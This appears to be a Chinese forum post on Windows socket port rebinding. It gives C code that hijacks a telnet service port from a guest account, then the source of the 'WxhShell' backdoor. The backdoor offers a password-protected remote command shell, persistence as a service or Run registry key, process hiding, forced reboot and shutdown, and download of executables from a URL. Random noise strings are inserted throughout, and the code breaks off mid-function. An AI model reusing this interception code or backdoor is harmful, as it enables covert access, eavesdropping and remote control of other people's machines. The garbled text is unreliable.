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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: SajasjE!^1 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JLak>MS G Ml JM saddr.sin_family = AF_INET; f7b6!R;z_ :X}fXgeL saddr.sin_addr.s_addr = htonl(INADDR_ANY); KP)t,\@f! *|as-!${k bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <8ih >s(C eX$RD9
H 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 T,9pd;k t\WU}aKML 这意味着什么?意味着可以进行如下的攻击: ~~3*o :(YFIW`59 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4YgO1}%G UCo`l~K)qg 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Z]XjN@j" 8[H bg 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3/ '5#$ .sSbU^U 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 jbe_r<{ *RmD%[f 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K SJ Ko +y^'\KN 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #x6EZnG #wZbG|% 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0|6Y%a\U PXFu #include Vy6~O|68= #include n )PqA* #include q)3QmA~ #include /*(&Dmt> DWORD WINAPI ClientThread(LPVOID lpParam); (QS 0 int main() {s0!hp { r72zWpF!Ss WORD wVersionRequested; b%].D(qBy DWORD ret; 1}~ZsrF WSADATA wsaData; oDWNOw BOOL val; 0|kH0c,T- SOCKADDR_IN saddr; 8p#V4liE SOCKADDR_IN scaddr; $ I
J^ int err; X!6$<8+1OV SOCKET s; deEc;IAo SOCKET sc; b!qlucAeE int caddsize; Myf2"\} HANDLE mt; ,0eXg DWORD tid; LK<ZF=z]Z wVersionRequested = MAKEWORD( 2, 2 ); ^O& y;5 err = WSAStartup( wVersionRequested, &wsaData ); MaLH2?je^n if ( err != 0 ) { 'Hsd7Dpi} printf("error!WSAStartup failed!\n"); TQykXZ2Yb) return -1; '$[a-)4 } n72kJ3u. saddr.sin_family = AF_INET; -EE}HUP) h0C>z2iH //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 d .Q<!Au3 4KR$s Kq$q saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Rm}G4Pq saddr.sin_port = htons(23); [Wxf,rW i if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U#%+FLX@w { Lb?0< printf("error!socket failed!\n"); I%{ 1K+V/ return -1; LfJMSscfv } XePGOw))O val = TRUE; eH~T PH //SO_REUSEADDR选项就是可以实现端口重绑定的 o7^0Lo5Z? if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) </b_Rar { xyHv7u%* printf("error!setsockopt failed!\n"); wScr:o+K>L return -1; 89{`GKWX } zYM0?O8pJ~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -XnOj2 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4?]s%2U6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -wVuM.n(Z {{AZW if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) sq@c?!' { q3`~uTzk ret=GetLastError(); q.j$]?PQ printf("error!bind failed!\n"); C=bQ2t=Z return -1; yyGn< } Gz4LjMQ
& listen(s,2);
&_-3>8gU while(1) Sbeq%Iwm. { :\C/mT3xL) caddsize = sizeof(scaddr); h+S]C#X,} //接受连接请求 }*b\=AS= sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1~E;@eK' if(sc!=INVALID_SOCKET) YxGqQO36 { RY1-Zjlb< mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |v<4=/. if(mt==NULL) _w2KUvG-8 { 7X>*B~(R printf("Thread Creat Failed!\n"); DcG=u24Xy! break; ZZ/k7(8 } Y~w1_>b } i(*fv(z CloseHandle(mt); 9Q1w$t~Y } P<;Puww/ closesocket(s); ~S$ex,~ WSACleanup(); Ec^2tx"= return 0; b}*q*Bq } umt`0m. : DWORD WINAPI ClientThread(LPVOID lpParam) ,(]k)ym/ { "rVM23@
tq SOCKET ss = (SOCKET)lpParam; Asy2jw\V SOCKET sc; D={$l'y9p unsigned char buf[4096]; *?VB/yO=0 SOCKADDR_IN saddr; ~6+Um_A_L long num; c:+UC DWORD val; b`ksTO`}x DWORD ret; HBs
6:[q //如果是隐藏端口应用的话,可以在此处加一些判断 `R!2N4|; //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 FEX67A8/; saddr.sin_family = AF_INET;
y|NY,{:] saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W@i|=xS? saddr.sin_port = htons(23); MO|Pv j~[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0#ON}l)> { J(A+mYr{: printf("error!socket failed!\n"); KFy|,@NI return -1; x![G'I } mo,"3YW val = 100; a54S,}| if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) na
0Zb { xk3)#* ret = GetLastError(); "ZA`Lp;%w return -1; _ q
AT%. } ~f( #S*Ic if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "!uS!BI? { T5}5uk9 ret = GetLastError(); iRqLLMrn return -1; cVYu(ssC4 } SR`A]EC(V if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6q7jI
)l { #WGyQu printf("error!socket connect failed!\n"); C%j@s| closesocket(sc); AP8J28I closesocket(ss); 6j!a*u:}" return -1; @}uo:b:Q } 44KWS~ while(1) Cv/3-&5S { Ns#L9T# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]\]mwvLT //如果是嗅探内容的话,可以再此处进行内容分析和记录 ymT]ow6C //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 prB:E[1 num = recv(ss,buf,4096,0);
A7eYKo
q if(num>0) [?(qhp! send(sc,buf,num,0); 2wgcVQ
Awa else if(num==0) 1_StgFu u break; "{d[V(lE" num = recv(sc,buf,4096,0); 9>ZX@1]m_ if(num>0) JeAyT48!M send(ss,buf,num,0); wRq
f' else if(num==0) :c`djM^ll break; !!mGsgnW } F5M{`:/ closesocket(ss); yVJ)JhV closesocket(sc); ~H"-km"@ return 0 ; Q8]S6,pt } Zm(}~C29 Uo[`AzD3 ]iZ-MG)J ========================================================== ;<%d^ PWyFys 下边附上一个代码,,WXhSHELL +eop4 |Z y+izC+ ========================================================== A2Iqn5 g91xUG #include "stdafx.h" L Z3=K`gj >feeVk #include <stdio.h> 8^R~qpg% #include <string.h> }VVtv1 #include <windows.h> %WYveY #include <winsock2.h> q~X}&}UT #include <winsvc.h> 6+C]rEY/o
#include <urlmon.h> Rn{X+b. $cLZ,N24 #pragma comment (lib, "Ws2_32.lib") d ;,C[& #pragma comment (lib, "urlmon.lib") -cUw} ;:bnLSPo #define MAX_USER 100 // 最大客户端连接数 nzU0=w}V #define BUF_SOCK 200 // sock buffer 18y'#<X! #define KEY_BUFF 255 // 输入 buffer :;Npk9P(N '47E8PIJ| #define REBOOT 0 // 重启 } OkK@8?0O #define SHUTDOWN 1 // 关机 !{ORFd "2T* w~V&y #define DEF_PORT 5000 // 监听端口 SWNT}{x] /8P7L'Rb #define REG_LEN 16 // 注册表键长度 0X%#9s~ #define SVC_LEN 80 // NT服务名长度 `<%
w4E l585L3i // 从dll定义API 'tVe#oI typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *C^TCyBK; typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YO;@Tj2)x typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yeV|j\TJI. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :/;;|lGw 0'R}' // wxhshell配置信息 Ystd[ struct WSCFG { Sqla+L* int ws_port; // 监听端口 {%X[Snv char ws_passstr[REG_LEN]; // 口令 M|7{ZE`Y int ws_autoins; // 安装标记, 1=yes 0=no OL623jQX char ws_regname[REG_LEN]; // 注册表键名 O{=@c96rl char ws_svcname[REG_LEN]; // 服务名 $u,`bX char ws_svcdisp[SVC_LEN]; // 服务显示名 1*B'o<?P1 char ws_svcdesc[SVC_LEN]; // 服务描述信息 .L_ Hk char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $XFFNE`% int ws_downexe; // 下载执行标记, 1=yes 0=no No]#RvEd3 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ,){WK|_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &GI'-i RP6hw| }; gq+#=!(2 1xU)nXXb // default Wxhshell configuration |PLWF[+t8 struct WSCFG wscfg={DEF_PORT, 7nbaR~ZV "xuhuanlingzhe",
e:6mz\J 1, szy2"~hm "Wxhshell", Kp/l2?J"
"Wxhshell", {JW_ZJx "WxhShell Service", ,^qHl+' "Wrsky Windows CmdShell Service", N\zUQ
J "Please Input Your Password: ", sQT<I]e 1, RIF*9= ,S " http://www.wrsky.com/wxhshell.exe", L>,xG.oG "Wxhshell.exe" DXfQy6k' }; wPpern05 N!13QI
H // 消息定义模块 `W4Is~VVv char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6yMaW
eT char *msg_ws_prompt="\n\r? for help\n\r#>"; #M:Vwn
JX char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ^~m}(6 char *msg_ws_ext="\n\rExit."; qWI8 >my11 char *msg_ws_end="\n\rQuit.";
BU%gXr4Ra char *msg_ws_boot="\n\rReboot..."; Aj@t*3 char *msg_ws_poff="\n\rShutdown..."; Qf|c^B char *msg_ws_down="\n\rSave to "; e]smnf *GM.2``e char *msg_ws_err="\n\rErr!"; SCXtBZ`.G char *msg_ws_ok="\n\rOK!"; \B8[UZA.& 2!}rHw char ExeFile[MAX_PATH]; nsi&r int nUser = 0; X1%_a.=VF HANDLE handles[MAX_USER]; eo4v[V& int OsIsNt; 2B]mD-~ +InFv"wt SERVICE_STATUS serviceStatus; qApf\o3[0 SERVICE_STATUS_HANDLE hServiceStatusHandle; Oa7jLz'i uq@_DPA7 // 函数声明
4-q8:5 int Install(void); _MUSXB' int Uninstall(void); 2;YL+v2 int DownloadFile(char *sURL, SOCKET wsh); E)(Rhvij int Boot(int flag); ,}$[;$ye void HideProc(void); +K"d\<
int GetOsVer(void); 2sT\+C&H int Wxhshell(SOCKET wsl); 3F9AnS void TalkWithClient(void *cs); !ziO1U int CmdShell(SOCKET sock); B%KfB
VC int StartFromService(void); 4NmLbM&C8 int StartWxhshell(LPSTR lpCmdLine); h7>`:~ ~01Fp;L/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (Bu-o((N@0 VOID WINAPI NTServiceHandler( DWORD fdwControl ); i8`0- stlkt>9 // 数据结构和表定义 ')j@OO3 SERVICE_TABLE_ENTRY DispatchTable[] = 5=P*<Dnj { Y/G~P,9 {wscfg.ws_svcname, NTServiceMain}, n7'X.=o7 {NULL, NULL} 76EMS?e }; >3y:cPTM5 !a9/8U_>XF // 自我安装 >66v+ int Install(void) >/DlxYG? { IVSd,AR7yY char svExeFile[MAX_PATH]; YRJw,xl HKEY key; b`DPf@p^kc strcpy(svExeFile,ExeFile); x=VLRh%Gvl R8fB
8 ) // 如果是win9x系统,修改注册表设为自启动 7cZ(g dQ/ if(!OsIsNt) { %x|0<@b7- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mO^vKq4r. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wj31mV RegCloseKey(key); nSh}1Arp/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N(L?F):fT RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )zq sn RegCloseKey(key); " IC0v9 return 0; /}RW~ax } $rmfE } @#&y } mdukl!_x else { f#zm}+,` "9yQDS: // 如果是NT以上系统,安装为系统服务 hIMD2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i 9w k) if (schSCManager!=0) mEDi'!YE" { l*<RKY8 SC_HANDLE schService = CreateService m}?(c)ST ( Y@[Dy schSCManager, $qh?$a wscfg.ws_svcname, "A,-/~cBV wscfg.ws_svcdisp, 5<L+T SERVICE_ALL_ACCESS, [78^:q-/0 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \>r<z46x SERVICE_AUTO_START, 8yn}|Y9Fu SERVICE_ERROR_NORMAL, ^jZ4tH3K svExeFile, SpiI9)gp NULL, RS[>7-9 NULL, m8<l2O=m NULL, Kq2,J&Ca3 NULL, ^%k[YJtB=i NULL <46fk* ); V<G=pPC'H if (schService!=0) $&[}+?? { x6B_5eF CloseServiceHandle(schService); h[I~D`q)v CloseServiceHandle(schSCManager); *S=zJyAO strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v6`TbIq% strcat(svExeFile,wscfg.ws_svcname); #&ZwQw if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2';f8JLY RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0'4V*Y RegCloseKey(key); fI1,L" return 0; @`Foy } ]-G10p}Ph- } Fb9!x/$tGV CloseServiceHandle(schSCManager); 7! "OF } !`?*zf } 6l-V%3- Q,z^eMk'd: return 1; >@9>bI+Q } 0NMekVi x7l3&;yDv // 自我卸载 yUzpl[*e^o int Uninstall(void) 1lLL9l{UVw { RkuPMs
Hw; HKEY key; U k*HRudt E;Sb
e9] if(!OsIsNt) { vTY+J$N__ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -<Zs7( RegDeleteValue(key,wscfg.ws_regname); S 8$kxQg RegCloseKey(key); p?,: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R#UcwX}o RegDeleteValue(key,wscfg.ws_regname); fd}
Ul RegCloseKey(key); yDW$v/j.| return 0; ^+20e3 ~Y } {(MC]]'? } _.y0QkwV } 4tv}V:EO else { vPA {)l\K c3$h-M(jVJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =UW!
7OzC if (schSCManager!=0) uNSbAw3 { dJ}E,rW} SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4PzCm k if (schService!=0) DoA+Bwq@ { }- P
='AyL if(DeleteService(schService)!=0) { /?wH1 , CloseServiceHandle(schService); u!VAAX CloseServiceHandle(schSCManager); =Vm"2g,aA return 0; T2^0Q9E? } ZW0gd7Wh CloseServiceHandle(schService); 43 h0i-%1 } 8V$ :th(' CloseServiceHandle(schSCManager); ,AO]4Ec } 42wa9UL<Ka } EgT2a u79,+H@ep return 1; ZfYva(zP{Q } ^ A`@g4! *6trK`tx^ // 从指定url下载文件 /X_g[*]? int DownloadFile(char *sURL, SOCKET wsh) `pzXh0}| { rL/e HRESULT hr; DZI:zsf;5Q char seps[]= "/"; |3A/Og char *token; oSOO5dk:z char *file; xF4>D!T%8 char myURL[MAX_PATH]; tgP x!5U char myFILE[MAX_PATH]; Y]SX2kk(2 {:;599l strcpy(myURL,sURL); *$I5_A8,. token=strtok(myURL,seps); ;Xw'WMb*= while(token!=NULL) "+6:vhP5 { |E YJbL;1% file=token; ]'2;6%.4 token=strtok(NULL,seps); SCZ6:P"$qX } ~K-c-Zs#z 8>
-3G GetCurrentDirectory(MAX_PATH,myFILE); o"a~ strcat(myFILE, "\\"); [o0Z;}fU strcat(myFILE, file); y,D4b6 send(wsh,myFILE,strlen(myFILE),0); 6:v$g send(wsh,"...",3,0); IP]"D" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >K2Md*[P3q if(hr==S_OK) YGj3W.eH return 0; ktILKpHt" else lStYfO:<'v return 1; d }"Dp QKAo}1Pq } Xo{|m[, Gs% cod // 系统电源模块 q@}eYQ=P|e int Boot(int flag) !e}LB%zf { .1[[Y} HANDLE hToken; ;;2Yfn'`9 TOKEN_PRIVILEGES tkp; RvQl{aL 2$g3ABfV if(OsIsNt) { i8\&J. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KfO$bmwmx LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?5A!/`E&% tkp.PrivilegeCount = 1; ,&1DKx tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d&dp#)._8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &3Q!'pJJ if(flag==REBOOT) { Z*}5M4 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rl0sN5n return 0; 8%dE$smH } ){PL6|5x else { BixKK$Lo if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y3]7^+k return 0; )Bl0
W } VZ`L-P$AF } \m3;<A/3n else { F3aOKV^ if(flag==REBOOT) { :+9KNyA if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LG0z|x(
return 0; | Vtd!9 } XF`,mV4 else { ^=H. .pr if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1kG{z;9 return 0; _k0X)N+li } NDJIaX:] } h@5mVTb}i ;^q@w return 1; 6/m|Sg.m } GWNLET y|BRAk&n // win9x进程隐藏模块 H8V${&!ho void HideProc(void) CnJrJ>l { BI'} JF%eC}[d HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K8sgeX| if ( hKernel != NULL ) c~@Z { ZeUA e pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U#I8Rd I, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'l%b5: FreeLibrary(hKernel); Ue>;h9^ } h&$7^P Hh_Yd) return; )575JY `6K } ?onaJ=mT *o}LI6_u // 获取操作系统版本 OJ (ho&(( int GetOsVer(void) uM!$`JN { Qi
3di OSVERSIONINFO winfo; v99gI%TA' winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f^P:eBgpx GetVersionEx(&winfo); Uxla,CCp- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +d7sy0 return 1; SLzxF uV else ze+_iQ5 return 0; 8oM]gW;J~ } pzX684 i+x$Y)= // 客户端句柄模块 Ck71N3~W int Wxhshell(SOCKET wsl) X@;o<2^ {
Q.3oDq SOCKET wsh; Q&zEa0^rG6 struct sockaddr_in client; gnW]5#c@ DWORD myID; c-|~ABtEpX 8VbHZ9Q while(nUser<MAX_USER) AS 5\X.%L* { _|VWf 8?\ int nSize=sizeof(client); T7vSp<i/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YL(7l|^! if(wsh==INVALID_SOCKET) return 1; 85>WK+= i%1ny`Q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AOT +4*)% if(handles[nUser]==0) p$>e{-u closesocket(wsh); _/@VV5Mq else F\' ^DtB nUser++; mN5`Fct*A> } WD wW` WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <78]OZ] Z X67.%>#3 return 0; ]}4{|& e } wv.FL$f[@ udRum7XW3 // 关闭 socket u/`jb2eEU: void CloseIt(SOCKET wsh) yc./:t1at> { >(v%"04|e closesocket(wsh); eBZa9X$ nUser--;
tCT-cs ExitThread(0); W/z\j/Rgc } ?\_N*NEtK 'ZyHp=RN) // 客户端请求句柄 q4].C|7 void TalkWithClient(void *cs) tTWeOAF { ya!RiHj %Pr
PCT SOCKET wsh=(SOCKET)cs; s[{L.9Y char pwd[SVC_LEN]; =5NM
=K char cmd[KEY_BUFF]; R|7yhsJq, char chr[1]; $
O1w6\}_ int i,j; x?hdC)#DWI bU`Ih# q while (nUser < MAX_USER) { Vb${Oy+ PQla- if(wscfg.ws_passstr) { Mx?{[zT" if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yzr RnVr //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PUMh#^g} //ZeroMemory(pwd,KEY_BUFF); 5k0r{^#M i=0; W$&kOdD!$ while(i<SVC_LEN) { Au+SCj g[VVxp!C< // 设置超时 R<}WNZl fd_set FdRead; E0K'|* struct timeval TimeOut; <E2+P,Lgw FD_ZERO(&FdRead); 4@,d{qp~ FD_SET(wsh,&FdRead); k+X=8()k TimeOut.tv_sec=8; =[wVRQ? TimeOut.tv_usec=0; wzX
1!? int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RX-qL,dc if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UQGOCP_ "][MCVYP if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UjmBLXz@T pwd =chr[0]; ]X:{y&g( if(chr[0]==0xd || chr[0]==0xa) { 4::>Ca^{ pwd=0; 13oR-Stj| break; nC^|83 } Z]$RO i++; owClnp9K } _dCsYI% n@pm5f // 如果是非法用户,关闭 socket zYf`o0U if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y`"b%P)+T } K6#9HF'2I @@L@r6 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (p1y/"Xh send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +y!B`'J ~#X,)L{y7v while(1) { iI_ad7,u l3Vw?f ZeroMemory(cmd,KEY_BUFF); 8 *@knkJ @\[UZVmBw // 自动支持客户端 telnet标准 _Je k;N j=0; #qk}e4u while(j<KEY_BUFF) { eySV -f{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DKV^c' cmd[j]=chr[0]; $gi{)'z if(chr[0]==0xa || chr[0]==0xd) { s:
c cmd[j]=0; >|<8QomD break; 9>qc 1z } */gm! :Ym j++; DAs&4Y` } /0(2PVf
y GO@pwq< // 下载文件 l~.}#$P] if(strstr(cmd,"http://")) { 1jdv<\U send(wsh,msg_ws_down,strlen(msg_ws_down),0); pWo`iM& F if(DownloadFile(cmd,wsh)) 5t6!K?} send(wsh,msg_ws_err,strlen(msg_ws_err),0); ei 1(A else ()=u#y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0sjw`<ic } '}a[9v76 else { }s;W{Q ># FO0R switch(cmd[0]) { 8l|v#^v 7
4rmxjiN // 帮助 h1 \)_jxA case '?': { S5eQHef send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zx7*Bnu0 break; L@*0wx`fU } b* 4[)Yg4 // 安装
&I8,<(` case 'i': { r!eCfV7 if(Install()) 9moenkL send(wsh,msg_ws_err,strlen(msg_ws_err),0); }8E//$J else ^H'zS3S send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ro+/=*ql~ break; |]7z } VFN\
Ryd // 卸载 `r"euO
r\ case 'r': { 846j<fE if(Uninstall()) uHdrHP send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4;;F(yk8 else mk JS_6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &&e{ 9{R break; O@U[S.IK }
?9qA"5 // 显示 wxhshell 所在路径 J-g#zs case 'p': { EUdu"'=4a char svExeFile[MAX_PATH]; 7+aTrE{ strcpy(svExeFile,"\n\r"); "rz|sbj strcat(svExeFile,ExeFile); n8"S;:Zm send(wsh,svExeFile,strlen(svExeFile),0); Ba/Z<1) break; J-lQPMI, } ARYqX\-e // 重启 41%B%K* case 'b': { 6T 2jVNg send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Fy-+? ~ if(Boot(REBOOT)) Y7R"~IA$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); |xaJv:96% else { xw-x<7 closesocket(wsh); z^
+CD- ExitThread(0); 4VE7%.z+ } iqCKVo7:M break; 1
O+4A[cr } o"@y=n/ // 关机 d)|{iUcW case 'd': { }'{39vc . send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }zVPdBRfm if(Boot(SHUTDOWN)) ADRjCk}I send(wsh,msg_ws_err,strlen(msg_ws_err),0); M-KjRl else { BsVUEF ,N closesocket(wsh); "m3:HS ExitThread(0); ShanwaCDqv } nf!RB-orF break; Y>-|`2Z
} po_||NIY // 获取shell 4%O*2JAw case 's': { )AOD~T4s7 CmdShell(wsh); ywlN4= closesocket(wsh); 7G}vQO ExitThread(0); tx;DMxN!W break; Q[i/] } Mn+;3qo{6 // 退出 BDY@&vF case 'x': { }x4,a6^ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lpkg(J#& CloseIt(wsh); <Ft6d break; ~I6Er6$C^ } >jAr9Blz] // 离开 ) F 6#n&2 case 'q': { 0`/ PEK{ send(wsh,msg_ws_end,strlen(msg_ws_end),0); vrXmzq closesocket(wsh); D1bS=>
;," WSACleanup(); #V[?puE@ exit(1); POTW+Zq] break; |E-0P=h } N!DAn\g } k;:v~7VF } ~*-ar 6 UwY <3ul // 提示信息 'X{cDdS^ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L'4ob4r{L } N)A?*s'v~ } qWe1`.o CtVY;eG return; ,LZ6Wu$P } ''!pvxA VP=(",` // shell模块句柄 4 8M)A int CmdShell(SOCKET sock) xI'<4lo7Z { \/4ipU. STARTUPINFO si; &|P@$O> ZeroMemory(&si,sizeof(si)); N]: "3?% si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]@1YgV si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XhFa9RC PROCESS_INFORMATION ProcessInfo; ke|v|@ char cmdline[]="cmd"; 94%gg0azp CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j~V@0z. return 0; w.J[3m/ } e;pVoRI hu\HK81m // 自身启动模式 eA&hiAP/ int StartFromService(void) a&)0_i:r { Pgg6(O9}B^ typedef struct c"t1E-Nsk { 4vTO # F DWORD ExitStatus; k|-`d DWORD PebBaseAddress; PaV [{CD DWORD AffinityMask; &oiX/UaY DWORD BasePriority; @Fqh]1t ULONG UniqueProcessId; (6z^m?t? ULONG InheritedFromUniqueProcessId; exV6&bdu } PROCESS_BASIC_INFORMATION; hC<X\yxe 'P}"ZHW PROCNTQSIP NtQueryInformationProcess; +V1EqC* 8YraW| H static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n1o/-UY static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qAm$yfYs` k(o[T),_%0 HANDLE hProcess; )gV+BHK PROCESS_BASIC_INFORMATION pbi; \(.&E`r />q=qkdq0 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :w(J=0Lt if(NULL == hInst ) return 0; mp0p#8txi +]
